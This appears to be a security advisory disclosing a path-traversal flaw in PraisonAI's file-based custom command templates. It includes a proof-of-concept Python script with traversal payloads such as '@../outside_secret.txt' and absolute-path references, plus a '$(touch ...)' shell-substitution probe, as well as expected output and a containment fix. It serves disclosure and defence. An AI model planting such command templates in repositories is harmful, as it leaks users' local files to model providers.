Project custom command templates can read outside-workspace files into model prompts
Summary
PraisonAI's new file-based custom command feature auto-discovers project commands from .praisonai/commands/*.md. When a user runs praisonai run --command <name> inside a repository, the command body is interpolated before it is sent as the model prompt.
The interpolation code expands @path references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include @../outside_secret.txt or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.
This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.
Technical Details
The feature was introduced by commit 88cf0c29 (feat: file-based custom agents and reusable commands with auto-discovery (#2035)) and is present on current main:
current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
current describe: v4.6.64-8-g3aa9cbc2
src/praisonai/praisonai/cli/features/custom_definitions.py discovers project-level definitions by walking upward from Path.cwd() to the git root and loading .praisonai/commands/*.md. Project commands override user-global commands.
interpolate_command_template() loads the selected command and passes the command body to the interpolator with Path.cwd() as the working directory:
return interpolator.interpolate(command.template, arguments, Path.cwd())
TemplateInterpolator._interpolate_files() then matches every @([^\s]+) token and reads the referenced file:
if working_dir:
file_path = working_dir / file_path_str
else:
file_path = Path(file_path_str)
if file_path.exists() and file_path.is_file():
with open(file_path, 'r') as f:
return f.read()
There is no resolve() call and no containment check against the project root. In Python, Path.cwd() / "/absolute/path" returns the absolute path, and parent traversal such as ../outside_secret.txt resolves outside the workspace when opened.
The sink is in src/praisonai/praisonai/cli/commands/run.py: the --command path calls interpolate_command_template(), then passes the fully interpolated prompt to _run_prompt().
PoV
A minimal vulnerable repository only needs a project command template and an outside file:
workspace/
.git/
.praisonai/
commands/
relative_escape.md # contains @../outside_secret.txt
absolute_escape.md # contains an absolute path outside workspace
inside.txt
outside_secret.txt
When the operator runs the project command, PraisonAI discovers .praisonai/commands/*.md, interpolates the template with Path.cwd() as the working directory, reads the outside file, and passes the resulting prompt to _run_prompt().
The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.
PoC
From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden PYTHONPATH setup is required.
git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 - "$PWD" <<'PY'
from __future__ import annotations
import importlib.util
import json
import os
import subprocess
import sys
import tempfile
import types
from pathlib import Path
CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"
def install_yaml_fallback_if_needed() -> str:
if importlib.util.find_spec("yaml") is not None:
return "installed"
yaml_stub = types.ModuleType("yaml")
class YAMLError(Exception):
pass
def safe_load(text: str):
data = {}
for raw_line in text.splitlines():
line = raw_line.strip()
if not line or line.startswith("#") or ":" not in line:
continue
key, value = line.split(":", 1)
data[key.strip()] = value.strip().strip("'\"")
return data
yaml_stub.safe_load = safe_load
yaml_stub.YAMLError = YAMLError
sys.modules["yaml"] = yaml_stub
return "stubbed"
def add_source_to_path(source_root: Path) -> None:
candidate = source_root / "src" / "praisonai"
if (candidate / "praisonai").exists():
sys.path.insert(0, str(candidate))
return
raise SystemExit(f"Could not find PraisonAI sources below {source_root}")
class pushd:
def __init__(self, path: Path):
self.path = path
self.old = Path.cwd()
def __enter__(self):
os.chdir(self.path)
def __exit__(self, *_exc):
os.chdir(self.old)
def write_command(commands_dir: Path, name: str, body: str) -> None:
commands_dir.mkdir(parents=True, exist_ok=True)
(commands_dir / f"{name}.md").write_text(
"---\n"
f"description: {name}\n"
"---\n"
f"{body}\n",
encoding="utf-8",
)
source_root = Path(sys.argv[1]).resolve()
yaml_dependency = install_yaml_fallback_if_needed()
add_source_to_path(source_root)
from praisonai.cli.features.custom_definitions import interpolate_command_template
with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp:
temp_root = Path(tmp).resolve()
workspace = temp_root / "workspace"
workspace.mkdir()
subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)
inside = workspace / "inside.txt"
outside = temp_root / "outside_secret.txt"
inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8")
outside.write_text(f"{CANARY}\n", encoding="utf-8")
commands_dir = workspace / ".praisonai" / "commands"
write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt")
write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}")
write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt")
write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt")
write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")
with pushd(workspace):
relative_result = interpolate_command_template("relative_escape", "operator argument")
absolute_result = interpolate_command_template("absolute_escape", "operator argument")
inside_result = interpolate_command_template("inside_control", "operator argument")
missing_result = interpolate_command_template("missing_control", "operator argument")
shell_result = interpolate_command_template("shell_control", "operator argument")
result = {
"vulnerable": all(
[
CANARY in (relative_result or ""),
CANARY in (absolute_result or ""),
"INSIDE_FILE=allowed" in (inside_result or ""),
"@missing.txt" in (missing_result or ""),
not (workspace / "SHOULD_NOT_EXIST").exists(),
]
),
"expectations": {
"relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""),
"absolute_path_discloses_outside_file": CANARY in (absolute_result or ""),
"inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""),
"missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""),
"shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(),
},
"samples": {
"relative_escape": relative_result,
"absolute_escape": absolute_result,
"inside_control": inside_result,
"missing_control": missing_result,
"shell_control": shell_result,
},
"yaml_dependency": yaml_dependency,
}
print(json.dumps(result, indent=2, sort_keys=True))
raise SystemExit(0 if result["vulnerable"] else 1)
PY
Expected vulnerable output:
{
"expectations": {
"absolute_path_discloses_outside_file": true,
"inside_control_expands_workspace_file": true,
"missing_control_leaves_missing_reference": true,
"relative_parent_traversal_discloses_outside_file": true,
"shell_control_does_not_create_file": true
},
"samples": {
"absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
"inside_control": "Review inside:\nINSIDE_FILE=allowed\n",
"missing_control": "Missing stays literal:\n@missing.txt",
"relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
"shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)"
},
"vulnerable": true,
"yaml_dependency": "installed"
}
The PoC does not contact a model provider or any external service. It stops at the interpolation step that praisonai run --command uses before calling _run_prompt().
Impact
An attacker who can supply or modify a repository can add a project command such as .praisonai/commands/review.md containing @../outside_secret.txt or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.
This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.
Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.
Suggested CVSS 3.1 vector:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Relevant CWEs:
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Suggested Fix
Resolve command @path references through a single containment helper before opening files:
- Resolve the project root or intended command workspace once.
- For relative references, join to that root and then call
resolve().
- For absolute references, either reject them outright or require
resolved.relative_to(root) to succeed.
- Reject escaped files before any
exists(), is_file(), or open() operation.
- Apply the same boundary to project and user command templates.
- Add regression tests for
@../outside.txt, @/absolute/outside.txt, a valid in-workspace file, a missing file, and shell-substitution escaping.
Minimal shape:
def resolve_command_file(root: Path, value: str) -> Path:
root = root.resolve()
candidate = Path(value)
if not candidate.is_absolute():
candidate = root / candidate
resolved = candidate.resolve()
try:
resolved.relative_to(root)
except ValueError as exc:
raise PermissionError(f"command file reference escapes workspace: {value}") from exc
return resolved
Affected Package/Versions
The feature was introduced by commit 88cf0c29. Current release tags now contain that commit, and PyPI currently publishes praisonai through 4.6.71.
introducing commit: 88cf0c29
earliest affected release observed: v4.6.65
latest affected release observed: v4.6.71
latest PyPI version checked: 4.6.71
unaffected sampled tag: v4.6.64
fixed version: none identified yet
Affected package entry:
Ecosystem: pip
Package: praisonai
Vulnerable versions: >= 4.6.65
Patched versions: none yet
Advisory History
No checked PraisonAI private advisory matched .praisonai/commands/*.md, praisonai.cli.features.custom_definitions, or custom command template @path interpolation.
The closest comparator is GHSA-2rcg-mm5h-xchx, arbitrary file read via @file: mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from .praisonai/commands/*.md, not by a direct @file: mention path. The vulnerable code path here is TemplateInterpolator._interpolate_files() in custom_definitions.py, introduced by 88cf0c29, and the sink is praisonai run --command.
Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.
References
Project custom command templates can read outside-workspace files into model prompts
Summary
PraisonAI's new file-based custom command feature auto-discovers project commands from
.praisonai/commands/*.md. When a user runspraisonai run --command <name>inside a repository, the command body is interpolated before it is sent as the model prompt.The interpolation code expands
@pathreferences by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include@../outside_secret.txtor an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.
Technical Details
The feature was introduced by commit
88cf0c29(feat: file-based custom agents and reusable commands with auto-discovery (#2035)) and is present on current main:src/praisonai/praisonai/cli/features/custom_definitions.pydiscovers project-level definitions by walking upward fromPath.cwd()to the git root and loading.praisonai/commands/*.md. Project commands override user-global commands.interpolate_command_template()loads the selected command and passes the command body to the interpolator withPath.cwd()as the working directory:TemplateInterpolator._interpolate_files()then matches every@([^\s]+)token and reads the referenced file:There is no
resolve()call and no containment check against the project root. In Python,Path.cwd() / "/absolute/path"returns the absolute path, and parent traversal such as../outside_secret.txtresolves outside the workspace when opened.The sink is in
src/praisonai/praisonai/cli/commands/run.py: the--commandpath callsinterpolate_command_template(), then passes the fully interpolated prompt to_run_prompt().PoV
A minimal vulnerable repository only needs a project command template and an outside file:
When the operator runs the project command, PraisonAI discovers
.praisonai/commands/*.md, interpolates the template withPath.cwd()as the working directory, reads the outside file, and passes the resulting prompt to_run_prompt().The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.
PoC
From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden
PYTHONPATHsetup is required.Expected vulnerable output:
{ "expectations": { "absolute_path_discloses_outside_file": true, "inside_control_expands_workspace_file": true, "missing_control_leaves_missing_reference": true, "relative_parent_traversal_discloses_outside_file": true, "shell_control_does_not_create_file": true }, "samples": { "absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n", "inside_control": "Review inside:\nINSIDE_FILE=allowed\n", "missing_control": "Missing stays literal:\n@missing.txt", "relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n", "shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)" }, "vulnerable": true, "yaml_dependency": "installed" }The PoC does not contact a model provider or any external service. It stops at the interpolation step that
praisonai run --commanduses before calling_run_prompt().Impact
An attacker who can supply or modify a repository can add a project command such as
.praisonai/commands/review.mdcontaining@../outside_secret.txtor another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.This report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.
Suggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.
Suggested CVSS 3.1 vector:
Relevant CWEs:
Suggested Fix
Resolve command
@pathreferences through a single containment helper before opening files:resolve().resolved.relative_to(root)to succeed.exists(),is_file(), oropen()operation.@../outside.txt,@/absolute/outside.txt, a valid in-workspace file, a missing file, and shell-substitution escaping.Minimal shape:
Affected Package/Versions
The feature was introduced by commit
88cf0c29. Current release tags now contain that commit, and PyPI currently publishespraisonaithrough4.6.71.Affected package entry:
Advisory History
No checked PraisonAI private advisory matched
.praisonai/commands/*.md,praisonai.cli.features.custom_definitions, or custom command template@pathinterpolation.The closest comparator is
GHSA-2rcg-mm5h-xchx, arbitrary file read via@file:mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from.praisonai/commands/*.md, not by a direct@file:mention path. The vulnerable code path here isTemplateInterpolator._interpolate_files()incustom_definitions.py, introduced by88cf0c29, and the sink ispraisonai run --command.Other checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.
References
88cf0c29: 88cf0c293aa9cbc2bd49c23a32be0a89a5e620d13d843eab: 3aa9cbcGHSA-2rcg-mm5h-xchx: GHSA-2rcg-mm5h-xchx